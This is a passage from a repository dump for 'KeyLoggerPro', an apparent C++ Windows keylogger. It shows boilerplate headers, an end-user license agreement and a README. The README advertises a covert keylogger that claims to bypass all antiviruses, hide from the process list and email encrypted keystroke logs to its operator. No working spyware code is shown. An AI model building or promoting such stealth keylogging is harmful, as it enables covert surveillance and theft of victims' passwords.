IDM_EXIT 105 7 | #define IDI_KEYLOGGERPRO 107 8 | #define IDI_SMALL 108 9 | #define IDC_KEYLOGGERPRO 109 10 | #define IDC_MYICON 2 11 | 12 | #ifndef IDC_STATIC 13 | #define IDC_STATIC -1 14 | #endif 15 | 16 | #ifdef APSTUDIO_INVOKED 17 | #ifndef APSTUDIO_READONLY_SYMBOLS 18 | #define _APS_NO_MFC 130 19 | #define _APS_NEXT_RESOURCE_VALUE 129 20 | #define _APS_NEXT_COMMAND_VALUE 32771 21 | #define _APS_NEXT_CONTROL_VALUE 1000 22 | #define _APS_NEXT_SYMED_VALUE 110 23 | #endif 24 | #endif 25 | -------------------------------------------------------------------------------- /KeyLoggerPro/small.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RaulButuc/KeyLoggerPro/5d29e81a8005442f94fbf2eb0e7df52716a0bf51/KeyLoggerPro/small.ico -------------------------------------------------------------------------------- /KeyLoggerPro/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // KeyLoggerPro.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | -------------------------------------------------------------------------------- /KeyLoggerPro/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "targetver.h" 4 | 5 | #define WIN32_LEAN_AND_MEAN 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | -------------------------------------------------------------------------------- /KeyLoggerPro/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | End-User License Agreement ("Agreement") 2 | 3 | Last updated: July 30, 2016 4 | 5 | Please read this End-User License Agreement ("Agreement") carefully before clicking the "I Agree" button, downloading or using KeyLoggerPro ("Software"). 6 | By clicking the "I Agree" button, downloading or using the Software, you are agreeing to be bound by the terms and conditions of this Agreement. 7 | This Agreement is a legal agreement between you (either an individual or a single entity) and me and it governs your use of the Software made available to you. 8 | If you do not agree to the terms of this Agreement, do not click on the "I Agree" button and do not download or use the Software. 9 | The Software is licensed, not sold, to you for use strictly in accordance with the terms of this Agreement. 10 | 11 | License 12 | KeyLoggerPro grants you a revocable, non-exclusive, non-transferable, limited license to download, install and use the Software solely for your personal, non-commercial purposes strictly in accordance with the terms of this Agreement. 13 | 14 | Limits on Use 15 | You may not alter, modify, adapt, translate, create derivative works based on the Software or otherwise attempt to reproduce the Software. You may not sell, lease, rent or sublicense the Software or any portion of it. 16 | 17 | Legal Compliance 18 | Logging of an individual’s computer activity without his or her knowledge of it may be considered to be an illegal operation by some provinces, states or jurisdictions. The Software is intended for authorized system administrators, security managers, owners of the computers and so on. I assume no liability and I am not responsible for any misuse of the Software. It is your and any final user’s responsibility to obey the terms of this Agreement and all applicable local, provincial, state, federal and international laws and regulations. 19 | 20 | No Other Warranties 21 | The Software is provided to you “AS IS” and any express or implied warranties, including, but nor limited to, the implied warranties of noninfringment of third party rights, satisfactory quality, lack of viruses, merchantability and fitness for a particular purpose are hereby disclaimed. I do not and cannot warrant the performance or results you may obtain by using the Software or documentation. In no event shall I be liable to you for any direct, indirect, exemplary, consequential, incidental or special damages, including, but not limited to, procurement of substitute goods or services, any lost use, data or profits or lost savings, howsoever caused, and on any theory of liability, whether in contract, strict liability or tort (including negligence or otherwise), arising in any manner from the use of the Software, even if I have been advised of the possibility of such damages, or for any claim by any third party. 22 | 23 | Term and Termination 24 | This Agreement shall remain in effect until terminated by you or me. 25 | I may, in my sole discretion, at any time and for any or no reason, suspend or terminate this Agreement with or without prior notice. 26 | This Agreement will terminate immediately, without prior notice from me, in the event that you fail to comply with any provision of this Agreement. You may also terminate this Agreement by deleting the Software and all copies thereof from your mobile device or from your computer. 27 | Upon termination of this Agreement, you shall cease all use of the Software and delete all copies of the Software from your mobile device or from your computer. 28 | Termination of this Agreement will not limit any of my rights or remedies at law or in equity in case of breach by you (during the term of this Agreement) of any of your obligations under the present Agreement. 29 | 30 | Amendments to this Agreement 31 | I reserve the right, at my sole discretion, to modify or replace this Agreement at any time. If a revision is material I will provide at least 30 days' notice prior to any new terms taking effect. What constitutes a material change will be determined at my sole discretion. 32 | By continuing to access or use the Software after any revisions become effective, you agree to be bound by the revised terms. If you do not agree to the new terms, you are no longer authorized to use the Software. 33 | 34 | Governing Law 35 | The laws of Romania, excluding its conflicts of law rules, shall govern this Agreement and your use of the Software. Your use of the Software may also be subject to other local, state, national, or international laws. 36 | 37 | Contact Information 38 | If you have any questions about this Agreement, please contact me. 39 | 40 | Entire Agreement 41 | The Agreement constitutes the entire agreement between you and me regarding your use of the Software and supersedes all prior and contemporaneous written or oral agreements between you and me. 42 | You may be subject to additional terms and conditions that apply when you use or purchase other KeyLoggerPro services, which I will provide to you at the time of such use or purchase. 43 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KeyLoggerPro - _Under Development_ 2 | __An untraceable keylogger built from scratch in C++__ 3 | 4 | The keylogger is: 5 | * Compatible with Windows Vista/7/8/10 (C++ Win32 app) -- done 6 | * Bypassing all known antiviruses -- done 7 | * Untraceable (hidden in the windows process list) -- partially done 8 | * Logging all the keys pressed -- partially done 9 | * Safely encrypting the log files -- done 10 | * Sending regular emails with the log files -- not started 11 | 12 | --- 13 | __Make sure to read and acknowledge the updated [LICENSE](LICENSE) before using the Software!__ 14 | --------------------------------------------------------------------------------